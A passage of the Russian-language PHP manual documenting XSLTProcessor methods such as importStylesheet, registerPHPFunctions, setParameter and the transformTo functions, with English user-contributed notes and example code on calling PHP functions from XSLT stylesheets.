public XSLTProcessor::importStylesheet(object $stylesheet): bool

Этот метод импортирует таблицу стилей в XSLTProcessor для трансформации.

Список параметров

stylesheet

Импортируемая таблица стилей в виде объекта DOMDocument или SimpleXMLElement.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

rbmeo at yahoo dot com 12-Jul-2012 09:52
To make your import dynamic, try this code:

<?php
$dom = new DOMDocument();
$dom->load('main.xsl');
$xpath = new DomXPath($dom);
$importnode= $questionsXsl->createElement('xsl:include');
$attr= $questionsXsl->createAttribute('href');
$attr->value = 'import.xsl';
$importnode->appendChild($attr);
$dom->documentElement->insertBefore($importnode,$ref);
$dom->loadXml($dom->saveXml());
?>

this code basically loads the main stylesheet, prepend the import xsl code then reload as xml string so the imported stylesheet will be loaded at dom.
kevin at metalaxe dot com 17-Nov-2007 03:26
Just for reference, as of this writing, this function does not support importing multiple stylesheets. The following will output only the stylesheet transformation of the second imported sheet:

<?php

# LOAD XML FILE
$XML = new DOMDocument();
$XML->load( 'data.xml' );

# START XSLT
$xslt = new XSLTProcessor();

# IMPORT STYLESHEET 1
$XSL = new DOMDocument();
$XSL->load( 'template1.xsl' );
$xslt->importStylesheet( $XSL );

#IMPORT STYLESHEET 2
$XSL = new DOMDocument();
$XSL->load( 'template2.xsl' );
$xslt->importStylesheet( $XSL );

#PRINT
print $xslt->transformToXML( $XML );
?>

This wasn't documented and quite dissapointing.
fcartegnie 21-Jul-2007 06:11
PHP5 xsl processor has a different behaviour than PHP4's one with CDATA sections. (see http://bugs.php.net/bug.php?id=29837)
Loaded XSL sheet CDATA sections does not allow, by default, output-escaping handling (everything in the CDATA is escaped by default).

So in this case you can't build your XSL Dom the usual way:
    $xsldom = DomDocument::loadXML(file_get_contents('sheet.xsl'));

and must go through this one (allowing LIBXML_NOCDATA parameter):
    $xsldom = new DomDocument;
    $xsldom->load('sheet.xsl', LIBXML_NOCDATA);

Then the CDATA output-escaping behaviour will be correct.
diesel at spbnet dot ru 19-Mar-2007 09:07
This is not a problem. You may set DOMDocument's documentURI property.
Something like this

<?php
$xsl = new DOMDocument('1.0','UTF-8');

$xsl->loadXML(file_get_contents('/foo/bar/somefile.xsl');
$xsl->documentURI = '/foo/bar/somefile.xsl';

$xslProc = new XSLTProcessor();
$xslProc->importStylesheet($xsl);
?>

and document('other.xsl') will work fine!
bbrosseau at gmail 01-Mar-2005 08:46
For those who wants to use external documents, it is important not to use the DomDocument::loadXML because the processor will not have the path to look for other files

So if you want to transform some xml with a pre-generated stylesheet $f:

<?php
$f = 'somestylesheet.xsl';
$xsl = DomDocument::loadXML(file_get_contents($f));
?>

document('other.xml') will not work with relative path and <?php $xsl = DomDocument::load($f); ?> will!


Включает способность функций PHP работать в качестве функций XSLT

  • « XSLTProcessor::importStylesheet
  • XSLTProcessor::removeParameter »
  • PHP Manual
  • XSLTProcessor
  • Включает способность функций PHP работать в качестве функций XSLT

XSLTProcessor::registerPHPFunctions

(PHP 5 >= 5.0.4, PHP 7, PHP 8)

XSLTProcessor::registerPHPFunctions — Включает способность функций PHP работать в качестве функций XSLT

Описание

public XSLTProcessor::registerPHPFunctions(array|string|null $functions = null): void

Этот метод делает PHP-функции доступными в качестве XSLT-функции в таблицах стилей XSL.

Список параметров

functions

Используйте этот параметр, чтобы разрешить вызов из XSLT только отдельных функций.

Этот параметр может принимать либо строковое значение — название функции, либо массив — список названий.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Простой вызов функции PHP из таблицы стилей

<?php
$xml = <<<EOB
<allusers>
<user>
<uid>bob</uid>
</user>
<user>
<uid>joe</uid>
</user>
</allusers>
EOB;
$xsl = <<<EOB
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="html" encoding="utf-8" indent="yes"/>
<xsl:template match="allusers">
<html><body>
<h2>Users</h2>
<table>
<xsl:for-each select="user">
<tr><td>
<xsl:value-of
select="php:function('ucfirst',string(uid))"/>
</td></tr>
</xsl:for-each>
</table>
</body></html>
</xsl:template>
</xsl:stylesheet>
EOB;
$xmldoc = new DOMDocument();
$xmldoc->loadXML($xml);
$xsldoc = new DOMDocument();
$xsldoc->loadXML($xsl);

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
echo $proc->transformToXML($xmldoc);
?>

User Contributed Notes

Matthew, info at mathias-schaefer dot de 25-Nov-2010 08:34
=> there is no instance of your class needed, you have to take care about the namespace (using 5.3).

<!-- xsl:
<xsl:value-of select="php:function ('My\Name\Space\MyClassName::methodName',1+2)"/>
--->

<?php
namespace My\Name\Space;

   class MyClassName
   {
      static public function methodName($someArgument)
      {
         return "resultis:".$someArgument;
      }
   }
?>

<!-- result:
resultis:3
-->

=> no to-string conversion of the argument needed
=> returning numbers is also possible (maybe DOM nodes too)

Keep on hackin'
Demerit 10-Aug-2010 07:58
Let's get the terminology correct here, folks.

If you are calling a function that is residing within a class, reference it by its INSTANCE name, NOT its class name.

class.my_class.php:

<?php
class class_name {
static function function_name($in){
return ($out);
}
}
?>

calling_document.php:

<?php
require_once('class.my_class.php');
$instance_name=new class_name();
?>

my_xslt.xsl:

<xsl:value-of select="php:function ('instance_name::function_name','garbage')" />

BTW, in 5.1.6 double-colon (::) is the only thing that works when calling a function that resides within a class. However, you must declare your function as static. Using -> as some have suggested (e.g., php:function ('instance_name->function_name','garbage')) doesn't work at all, no matter how you declare your function.
Nic Luciano 22-Jul-2009 11:09
Ritch said "If you wish to use a function from inside a class use the double colon (::) notation..."

Also note that the class function must be declared as static.
Ariz Jacinto 08-Jul-2008 02:21
If you want to use replace() function similar to XPath 2.0[1]  and you want to avoid a long XSLT function similar to this one[2], you can use PHP's str_replace() instead:

   <xsl:value-of select="php:functionString('str_replace','pattern', 'replacement' , . )">

Links:
  [1] http://www.w3.org/TR/2004/WD-xpath-functions-20041029/#func-replace
  [2] http://aspn.activestate.com/ASPN/Cookbook/XSLT/Recipe/65426

_
thsoft at vipmail dot hu 27-Dec-2007 02:22
Unfortunately, you can't pass arrays to PHP from XLST.
But you can pass an arbitrary number of arguments to a PHP function and then get them with func_get_args() as an array.
[There's no sense writing a function that is identical to the array() construct, because a function's return value is converted to a string when passed as an argument to another function. This means deep arrays cannot be handled this way.]
thsoft at vipmail dot hu 31-Jan-2007 03:20
The correct way to receive DOM nodes (let it be element, document, document fragment etc.) returned from PHP is to use <xsl:copy-of select="php:function...

I found the idea and an example here: http://bugs.php.net/bug.php?id=29409

For the technical details about the reason, see http://www.w3.org/TR/xslt#copy-of
phil at worldpoolfederation dot com 01-Dec-2006 03:22
Not true

Use :: to call static functions
Use -> to call non static functions

You must define a function as static in php 5.1 to be able to call it statically.
mark at thirst dot org 10-Oct-2006 07:25
Ritch said "If you wish to use a function from inside a class use the double colon (::) notation..."   This worked in 5.0.4 but no longer works in 5.1.6.
franp at free dot fr 02-Sep-2006 01:45
Note that if you want your output to validate against some xhtml dtd, you must add the following attribute to the xsl:stylesheet element of the xslt stylesheet :
exclude-result-prefixes="php".

Otherwise, you get an "invalid attribute xmlns:php" error.
taylorbarstow at that google mail thingy 26-May-2006 05:33
Add-on to my previous note (below) about returning nodesets to XSLT from PHP functions:

You don't have to return a DOMDocument, DOMElement works just as well.  Plus, retuning a DOMElement gets around the problem of discarding the root node which I discuss below and which is also touched on by "Ingram".
heinemann dot juergen at hjcms dot de 08-Mar-2006 02:23
You can find mor Examples at PHP Sources php-5.*/ext/xsl/tests
<?php

$xform = <<<EOT
<?xml version = '1.0' encoding = 'utf-8' ?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl"
    xsl:extension-element-prefixes="php"
>
<xsl:output method="xml" indent="yes" encoding="utf-8" />
<xsl:namespace-alias stylesheet-prefix="php" result-prefix="xsl" />
<xsl:template match="root">
<html>
<head>
    <title>Dateformat</title>
</head>
<body>
<xsl:for-each select="datenode">
    <li>
        <xsl:value-of select="php:functionString('convertDate', . )" />
    </li>
    </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
EOT;

function convertDate( $i )
{
    setlocale( LC_TIME, 'de_DE' );
    return utf8_encode( strftime( '%B %d %A %Y %H:%M:%S CET', $i ) );
}

$xsl = new XSLTProcessor;
$xsl->registerPHPFunctions();
$xsl->setParameter( 'DOCTYPE', 'PUBLIC', 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd' );
$xsl->setParameter( 'html', 'xmlns', 'http://www.w3.org/1999/xhtml' );

$xdom = new DomDocument( '1.0', 'utf-8' );
$xdom->loadXML( $xform );

$xsl->importStyleSheet( $xdom );
unset( $xdom );

$dom = new DomDocument( '1.0', 'utf-8' );
$r = $dom->appendChild( $dom->createElement( 'root' ) );
foreach ( range( 1, 12 ) AS $i ) {
    $r->appendChild( $dom->createElement( 'datenode', mktime( date('G'), date('i'), date('s'), $i, date('d'), date('Y') ) ) );
}

header( "Content-Type: text/html; CHARSET=Windows-1251;" );
header( "Content-Encoding: utf-8" );
echo $xsl->transformToXML( $dom );

?>
Ingram 28-Feb-2006 12:33
Upon testing returning of a nodeset contributed by

taylorbarstow at that google mail thingy

(which works excellently, TY!)

I found that with using:

===
"Presumably, it's worth creating a template to do the discard:

<xsl:template select="*" mode="discardRoot">
   <xsl:apply-templates select="./*" />
</xsl:template>

Which you can call like so:

<xsl:apply-templates select="php:function('getNodeSet')" mode="discardRoot" /> "
===

I could only output the text and not any of the tags after applying templates - i.e. it stripped all elements around text.

Instead using:

===
<xsl:template match="/">
   <xsl:for-each select="php:function('getNodeSet')" />
     <xsl:apply-templates />
   </xsl:for-each>
</xsl:template>

which effectively discards the root node.
===

Worked fine and allowed me to apply-templates without problem on the returned nodeset.
hopeseekr at gmail dot com 01-Feb-2006 12:17
One of the peskiest things I had problems with was encoding URL parameters.  I mean, pretend you want to populate a link with "search+terms" instead of just "search terms".  I was including two seperate URLs in the XML and that was ludicrous.

Below is a far more elegant PHP+XSLT solution.  You will also see it uses two *undocumented* features of registerPHPFunctions(), namely php:functionString() and the passing of parameters to the function.  I figured this out by trial and error; I really hope this note helps you as it *greatly* expands the power of php functions in XSLT!

<?php
/* --- XML input --- */
<search_results>
   <query>concert tickets</query>
</search_results>

/* --- XSL code --- */
<!-- Display query -->
<xsl:template match="search_results">
   <!-- Get URL-encoded string via PHP -->
   <xsl:variable name="safeurl" as="xs:string" select="php:functionString('urlencode', query)" />
   <p>Your search for <em><xsl:value-of select="query"/></em> can be continued at <a href="http://www.tixtix.com/search.php?q={$safeurl}">our search engine</a></p>
</xsl:template>

/* --- XHTML output --- */
<p>Your search for <em>concert tickets</em> can be continued at <a href="http://www.tixtix.com/search.php?q=space+cowboy">our search engine</a></p>
?>

Cool, huh?
taylorbarstow at that google mail thingy 01-Dec-2005 07:14
From a PHP function, you can pass a nodeset back to XSL using a DOMDocument.  For example:

<?php

function getNodeSet() {
   $xml =
       "<test>" .
       "<a-node>This is a node</a-node>" .
       "<a-node>This is another node</a-node>" .
       "</test>";
   $doc = new DOMDocument;
   $doc->loadXml($xml);
   return $doc;
}

?>

The only problem I've found is that the root level node in your returned DOM document acts like the root level node of your original.   SO, it's easy to introduce an infinite loop like so:

<xsl:template match="/">
   <xsl:apply-templates select="php:function('getNodeSet')" />
</xsl:template>

To avoid this, I've been using a construct like:

<xsl:template match="/">
   <xsl:for-each select="php:function('getNodeSet')" />
      <xsl:apply-templates />
   </xsl:for-each>
</xsl:template>

which effectively discards the root node.  Presumably, it's worth creating a template to do the discard:

<xsl:template select="*" mode="discardRoot">
   <xsl:apply-templates select="./*" />
</xsl:template>

Which you can call like so:

<xsl:apply-templates select="php:function('getNodeSet')" mode="discardRoot" />
Ritch at Bugsoftware dot co dot uk 22-Jun-2005 03:18
If you wish to use a function from inside a class use the double colon (::) notation, for example;

php:functionString('classname::function')

The funtion is fired off as a static and as such acts like a function in the global namespace.
benbarnett 04-Mar-2005 04:34
You can use the php:functionString() in the XSL, which will automatically convert output to a string!
zac at zacbowling dot com 27-Oct-2004 01:48
One thing I have told a lot of people to do if they are having
issues with this function is to check for any 'xmlns' attributes
that get generated and added to your xml pages by some
types of popular software.

<?php
$file = "http://data.map***.net/m***ck.asmx/GetMessages?IMEI=$id";

$docxml = file_get_contents($file);

//You may have to do something like this where
//I remove any instance of xmlns tags that get
//returned by my ASP.NET SOAP responses.

$docxml =
 str_replace("xmlns=\"http://data.map***.net/m***ck.asmx?WSDL\"",
  "",$docxml);

$xslt = new xsltProcessor;

//You don't remove them then this function will blow up.
$xslt->registerPHPFunctions();
$xslt->importStyleSheet(DomDocument::load('../xsl/message.xsl'));
print $xslt->transformToXML(DomDocument::loadXML($docxml));

?>

Also a few cool tricks with this function is that you can call
built in PHP functions. For example:

<xsl:value-of
  select="php:function('nl2br',string(MessageContent/Message))"
  disable-output-escaping="yes"/>

That XSL value will now return your normal string but replace
all your new line charactors in your xml with '<br />'s.

Also note the 'disable-output-escaping="yes"' statement. If
you don't call this, then the output of that bind will be ran
thru basicly a "htmlencode()" type function.

Last but not least, take a look at the 'string()' function I
called in XSL before passing it back. That is because without
calling that, when it runs it will try and pass the node object,
and not its value (which is what you most likely only want).

This function is very awsome and could lead to some very
interesting code development. Skins could be loaded
remotely. You could write an RSS viewer in PHP without much
code. You could parse XHTML pages into another view (either
localy or remotely). Then you can take that same XML
content and throw it against ASP.NET, Java, or even a
command line processing tool using that same exact XSL
style sheet and generate the front ends for you page without
much change. I'm very excited.

Happy codding.
junkmail at eighteyes dot com 08-Oct-2004 02:52
When writing a stylesheet that uses a callback function be sure to include a namespace declaration for php, as follows:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" version='1.0'>
begemot at php dot com dot ua 28-Sep-2004 06:24
I think it help  your.
<?php

function dateLang () {
        return strftime("%A");
}

$xsl = new DomDocument();
$xsl->load("datetime.xsl");
$inputdom = new DomDocument();
$inputdom->load("today.xml");

$proc = new XsltProcessor();
$proc->registerPhpFunctions();

// Load the documents and process using $xslt
$xsl = $proc->importStylesheet($xsl);

/* transform and output the xml document */
$newdom = $proc->transformToDoc($inputdom);

print $newdom->saveXML();

?>

Here's the XSLT stylesheet, datetime.xsl, that will call that function:

<?xml version="1.0" encoding="iso-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
  <xsl:value-of select="php:function('dateLang')" />
</xsl:template>
</xsl:stylesheet>

And here's an absolute minimal XML file, today.xml, to pass through the stylesheet (although articles.xml would achieve the same result):

<?xml version="1.0" encoding="iso-8859-1" ?>
<today></today>
zac at zacbowling dot com 26-Aug-2004 09:48
One thing to note about this function. A lot of values need to be converted to a XSLT string using the "string()" function in XLS before you pass them to your functions, and when you return them make sure that if they are strings that you call the "strval()" in php before doing so. This saved me hours.

Hope that helps.

Zac Bowling


Удаляет параметр

  • « XSLTProcessor::registerPHPFunctions
  • XSLTProcessor::setParameter »
  • PHP Manual
  • XSLTProcessor
  • Удаляет параметр

XSLTProcessor::removeParameter

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::removeParameter — Удаляет параметр

Описание

public XSLTProcessor::removeParameter(string $namespace, string $name): bool

Удаляет параметр, если он установлен. Это позволяет процессору использовать значение в таблице стилей, установленное по умолчанию.

Список параметров

namespace

Пространство имён URI параметра XSLT.

name

Локальное название XSLT параметра.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XSLTProcessor::setParameter() - Устанавливает значение параметра
  • XSLTProcessor::getParameter() - Возвращает значение параметра

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение параметра

  • « XSLTProcessor::removeParameter
  • XSLTProcessor::setProfiling »
  • PHP Manual
  • XSLTProcessor
  • Устанавливает значение параметра

XSLTProcessor::setParameter

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::setParameter — Устанавливает значение параметра

Описание

public XSLTProcessor::setParameter(string $namespace, string $name, string $value): bool
public XSLTProcessor::setParameter(string $namespace, array $options): bool

Устанавливает значение для одного или нескольких параметров, чтобы использовать в дальнейшем в преобразованиях XSLTProcessor. Если параметра нет в таблице стилей, то он будет проигнорирован.

Список параметров

namespace

Пространство имён URI параметра XSLT.

name

Локальное название параметра XSLT.

value

Новое значение параметра XSLT.

options

Массив пар name => value.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Изменение владельца перед преобразованием

<?php

$collections = array(
'Marc Rutkowski' => 'marc',
'Olivier Parmentier' => 'olivier'
);

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Настройка преобразования
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // добавление стилей xsl

foreach ($collections as $name => $file) {
// Load the XML source
$xml = new DOMDocument;
$xml->load('collection_' . $file . '.xml');

$proc->setParameter('', 'owner', $name);
$proc->transformToURI($xml, 'file:///tmp/' . $file . '.html');
}

?>

Смотрите также

  • XSLTProcessor::getParameter() - Возвращает значение параметра
  • XSLTProcessor::removeParameter() - Удаляет параметр

User Contributed Notes

richard at aggmedia dot net 04-Mar-2009 07:47
Note that there is no way to remove a parameter from an XSLTProcessor unless you know its name, and there is no way (that I can find) to get a list of the current parameters.

This means that you cannot reuse an XSLTProcessor with different parameters unless you call XSLTProcessor->removeParameter() on every parameter, and to do that you need to know the names of all the currently set parameters.

I bumped into this because we were caching XSLTProcessors for reuse, and they were spitting out content based on phantom parameters (they were still there from previous uses).
Lennaert van der Linden 13-Feb-2008 06:28
The parameter will not be set if the value contains both single and double quotes. Instead a warning will be shown when transforming the document:

PHP Warning:  XSLTProcessor::transformToXml(): Cannot create XPath expression (string contains both quote and double-quotes)
brettz9 08-May-2007 08:27
It seems heinemann's usage is not correct and does not achieve the intended result.

This method's purpose is to change a global <xsl:param> value in the XSL stylesheet--not to change an attribute of any other element.  <xsl:param> basically lets you set up a stylesheet which can be customized (as from PHP) externally (without needing to tamper with the original XSL file).

Here's an example of usage (that will work):

Stylesheet:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:param name="print_something" select="defaultstring"/>
    <xsl:template match="/mydoc">
        <p style="color:red;">Printed parameter: <xsl:value-of select="$print_something"/></p>
    </xsl:template>
</xsl:stylesheet>

Script:

<?php
$dom = new DOMDocument();
$xsl = new XSLTProcessor;
$xsl->setParameter( '', 'print_something', "Now I've overridden the default!");
$style = realpath( "./my_stylesheet.xslt" );
$dom->load($style);
$xsl->importStyleSheet($dom);
$dom->loadXML('<mydoc></mydoc>');

$out = $xsl->transformToXML( $dom );

var_dump( '<pre>',
    htmlentities( $out, ENT_QUOTES, 'utf-8' ),
    $xsl->getParameter('', 'print_something'),
'</pre>' );
?>

gives:

string(5) "

"
string(143) "<?xml version="1.0"?>
<p style="color:red;">Printed parameter: Now I've overridden the default!</p>
"
string(32) "Now I've overridden the default!"
string(6) "

"

Notice that at present adding a namespace will not work. The only option at present is to set the first parameter for namespace to an empty string (though you can add the prefix with colon to the second argument for name in order to set the parameter for a namespace-prefixed parameter name).

See http://bugs.php.net/bug.php?id=30622
OrionI 01-May-2007 07:19
After looking at this a little further (see http://bugs.php.net/bug.php?id=41248), it appears that it's a shortcoming of libxslt, not PHP, that prevents passing in DOMDocuments or DOMNodes as parameters.
Orion I 30-Apr-2007 08:46
I've been trying to pass in a DOMDocument object as a parameter so I can stuff a bunch of data into XML nodes, but it appears that this function is not capable of it. I was hoping to get it to work like it does in the .NET 2.0 framework. (See http://msdn2.microsoft.com/en-us/library/
system.xml.xsl.xsltargumentlist.addparam.aspx)
But after looking at the PHP 5.2.1 source code, /php-5.2.1/ext/xsl/xsltprocessor.c line 604-650, it appears that it's not possible to do so in PHP even though it appears that libxslt supports it (see http://xmlsoft.org/XSLT/html/libxslt-variables.html
#xsltParseGlobalParam)

In fact, if the parameters aren't exactly what's expected, you'll always get a warning like this:

Wrong parameter count for XSLTProcessor::setParameter()
heinemann dot juergen at hjcms dot de 07-Mar-2006 03:39
Example for how it works.

<?xml version = '1.0' encoding = 'utf-8' ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml"
    indent="yes"
    encoding="ISO-8859-15"
    doctype-system = "-//W3C//DTD XHTML 1.0 Transitional//EN"
    doctype-public = "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
/>
<xsl:template match="docs">
<html>
<head>
    <title>
        <xsl:text>Example</xsl:text>
    </title>
</head>
<body>
    <xsl:for-each select="block">
        <div>
            <xsl:value-of select="." />
        </div>
    </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

------------------

<?php
$dom = new DomDocument( '1.0', 'utf-8' );
$xsl = new XSLTProcessor;
$xsl->setParameter( 'block', 'xmlns', 'http://www.w3.org/1999/xhtml' );

$style = realpath( "./my_stylesheet.xslt" );
$dom->load( $style );
$xsl->importStyleSheet( $dom );

$dom->loadXML( '<docs>
    <block>Howto set xhtml Transitional Namespaces width php</block>
    <block>see http://www.php.net</block>
</docs>' );

$out = $xsl->transformToXML( $dom );

var_dump( '<pre>',
    htmlentities( $out, ENT_QUOTES, 'utf-8' ),
    $xsl->getParameter( 'block', 'xmlns' ),
    $xsl->getParameter( 'docs', 'xmlns' ),
'</pre>' );

?>
Stoke A 11-Aug-2005 03:40
XSLTProcessor::removeParameter() won't work on parameters set via XSLTProcessor::setParameter(string namespace, array options) in 5.1+ -- they need to be set and removed one by one.


Устанавливает файл для профилирования

  • « XSLTProcessor::setParameter
  • XSLTProcessor::setSecurityPrefs »
  • PHP Manual
  • XSLTProcessor
  • Устанавливает файл для профилирования

XSLTProcessor::setProfiling

(PHP >= 5.3.0, PHP 7, PHP 8)

XSLTProcessor::setProfiling — Устанавливает файл для профилирования

Описание

public XSLTProcessor::setProfiling(?string $filename): true

Устанавливает файл для записи профилирующей информации во время обработки таблиц стилей.

Список параметров

filename

Путь к файлу, в который записывается профилирующая информация.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Пример вывода профилирующей информации

<?php
// Загрузка исходного XML
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Настройка преобразования
$proc = new XSLTProcessor;
$proc->setProfiling('profiling.txt');
$proc->importStyleSheet($xsl); // добавление стилей xsl

echo trim($proc->transformToDoc($xml)->firstChild->wholeText);
?>

Вышеприведённый код записывает следующую информацию в файл профилирования:

number               match                name      mode  Calls Tot 100us Avg

    0                   cd                                    2      3      1
    1           collection                                    1      1      1

                         Total                                3      4

User Contributed Notes

There are no user contributed notes for this page.


Установить настройки безопасности

  • « XSLTProcessor::setProfiling
  • XSLTProcessor::transformToDoc »
  • PHP Manual
  • XSLTProcessor
  • Установить настройки безопасности

XSLTProcessor::setSecurityPrefs

(PHP >= 5.4.0, PHP 7, PHP 8)

XSLTProcessor::setSecurityPrefs — Установить настройки безопасности

Описание

public XSLTProcessor::setSecurityPrefs(int $preferences): int

Устанавливает настройки безопасности.

Список параметров

preferences

Новые настройки безопасности. Битовая маска из: XSL_SECPREF_READ_FILE, XSL_SECPREF_WRITE_FILE, XSL_SECPREF_CREATE_DIRECTORY, XSL_SECPREF_READ_NETWORK, XSL_SECPREF_WRITE_NETWORK. Или, альтернативно, можно передать XSL_SECPREF_NONE или XSL_SECPREF_DEFAULT.

Возвращаемые значения

Возвращает старые настройки безопасности.

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывает в документ

  • « XSLTProcessor::setSecurityPrefs
  • XSLTProcessor::transformToUri »
  • PHP Manual
  • XSLTProcessor
  • Преобразовывает в документ

XSLTProcessor::transformToDoc

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::transformToDoc — Преобразовывает в документ

Описание

public XSLTProcessor::transformToDoc(object $document, ?string $returnClass = null): object|false

Преобразовывает исходный узел в документ (например, в объект DOMDocument), применяя таблицу стилей, заданную методом XSLTProcessor::importStylesheet().

Список параметров

document

Объект класса DOMDocument, объект класса SimpleXMLElement или libxml-совместимый объект, который будет преобразован.

returnClass

Через этот необязательный параметр можно установить класс объекта, который вернёт XSLTProcessor::transformToDoc(). Этот класс должен либо расширять, либо быть объектом того же класса, который передан в параметр document.

Возвращаемые значения

Возвращает результирующий документ или false в случае возникновения ошибки.

Примеры

Пример #1 Преобразование в DOMDocument

<?php

// Загрузка исходного XML
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Настройка преобразования
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // добавление стилей xsl

echo trim($proc->transformToDoc($xml)->firstChild->wholeText);

?>

Результат выполнения приведённого примера:

Hey! Welcome to Nicolas Eliaszewicz's sweet CD collection!

Смотрите также

  • XSLTProcessor::transformToUri() - Преобразовывает в URI
  • XSLTProcessor::transformToXml() - Преобразовывает в XML

User Contributed Notes

franp at free dot fr 30-Aug-2006 05:16
In most cases if you expect XML (or XHTML) as output you better use transformToXML() directly. You gain better control over xsl:output attributes, notably omit-xml-declaration.

Instead of :
$proc = new XSLTProcessor();
$proc->importStylesheet($xsl);
$dom = $proc->transformToDoc($xml);
echo $dom->saveXML();

do use :
$proc = new XSLTProcessor();
$proc->importStylesheet($xsl);
$newXml = $proc->transformToXML($xml);
echo $newXml;

In the first case, <?xml version="1.0" encoding="utf-8"?> is added whatever you set the omit-xml-declaration while transformToXML() take the attribute into account.


Преобразовывает в URI

  • « XSLTProcessor::transformToDoc
  • XSLTProcessor::transformToXml »
  • PHP Manual
  • XSLTProcessor
  • Преобразовывает в URI

XSLTProcessor::transformToUri

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::transformToUri — Преобразовывает в URI

Описание

public XSLTProcessor::transformToUri(object $document, string $uri): int

Преобразовывает исходный узел в URI, применяя таблицу стилей, которая установлена методом XSLTProcessor::importStylesheet().

Список параметров

document

Преобразуемый объект DOMDocument или SimpleXMLElement.

uri

Целевой URI для преобразования.

Возвращаемые значения

Возвращает количество записанных байтов, либо false в случае возникновения ошибки.

Примеры

Пример #1 Преобразование в HTML файл

<?php

// Загрузка источника XML
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Настройка преобразования
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // добавление стилей xsl

$proc->transformToURI($xml, 'file:///tmp/out.html');

?>

Смотрите также

  • XSLTProcessor::transformToDoc() - Преобразовывает в документ
  • XSLTProcessor::transformToXml() - Преобразовывает в XML

User Contributed Notes

jonbarnett at gmail dot com 13-Jul-2007 12:32
Sometimes you don't want to transform to a file, an XML string (because you're using text or html), or a DOMDocument.

To transform to standard output, you can use php://output

<?php
$proc->transformToURI($xml, 'php://output');
?>

To transform to a string (of HTML or text, instead of XML), you can use the above in conjunction with output buffering.
<?php
ob_start();
$proc->transformToURI($xml, 'php://output');
$outputString = ob_get_flush();
?>


Преобразовывает в XML

  • « XSLTProcessor::transformToUri
  • Модули для работы с GUI »
  • PHP Manual
  • XSLTProcessor
  • Преобразовывает в XML

XSLTProcessor::transformToXml

(PHP 5, PHP 7, PHP 8)

XSLTProcessor::transformToXml — Преобразовывает в XML

Описание

public XSLTProcessor::transformToXml(object $document): string|null|false

Преобразовывает исходный узел в строку, применяя таблицы стилей, которые установлены с помощью метода xsltprocessor::importStylesheet().

Список параметров

document

Объект класса DOMDocument или SimpleXMLElement для преобразования.

Возвращаемые значения

Возвращает результат преобразования, или false в случае возникновения ошибки.

Примеры

Пример #1 Трансформация в строку

<?php

// Загрузка источника XML
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Настройка преобразования
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // добавление стилей xsl

echo $proc->transformToXML($xml);

?>

Результат выполнения приведённого примера:

Hey! Welcome to Nicolas Eliaszewicz's sweet CD collection!

<h1>Fight for your mind</h1><h2>by Ben Harper - 1995</h2><hr>
<h1>Electric Ladyland</h1><h2>by Jimi Hendrix - 1997</h2><hr>

Смотрите также

  • XSLTProcessor::transformToDoc() - Преобразовывает в документ
  • XSLTProcessor::transformToUri() - Преобразовывает в URI

User Contributed Notes

Josef Hornych 04-Mar-2015 07:42
Note that the method's name is sort of deceiving, because it does not only output XML, but any string that is generated by the processor. It should rather be called transformToString. So if your output method is  "text/plain", for example, this is the way to receive the resulting string.
zweibieren at yahoo dot com 15-Sep-2010 11:15
Entities are omitted from the output with the code above.
The symptom was that &nbsp;
-- which should work with UTF-8 encoding --
did not even get to XSLTProcessor, let alone through it.
After too much hacking I discovered the simple fix:
set substituteEntities to true in the DOMDocument for the XSL file.
That is, replace the loading of the xsl document with

<?php
   $xsl = new DOMDocument;
   $xsl->substituteEntities = true;    // <===added line
   $xsl->load('collection.xsl');
?>

However, this fails when data entries have HTML entity references. (Some database entries may even contain user generated text.) libxml has the pedantic habit of throwing a FATAL error for any undefined entitiy. Solution: hide the entities so libxml doesn't see them.

<?php
function hideEntities($data) {
        return str_replace("&", "&amp;", $data);
}
?>

You could just add this to the example, but it is tidier to define a function to load data into a DOMDocument. This way you don't need entity declarations in catalog.xsl, either.

<?php
// Added function for  Example #1

/** Load an XML file and create a DOMDocument.
Handles arbitrary entities, even undefined ones.
*/
function fileToDOMDoc($filename) {
    $dom= new DOMDocument;
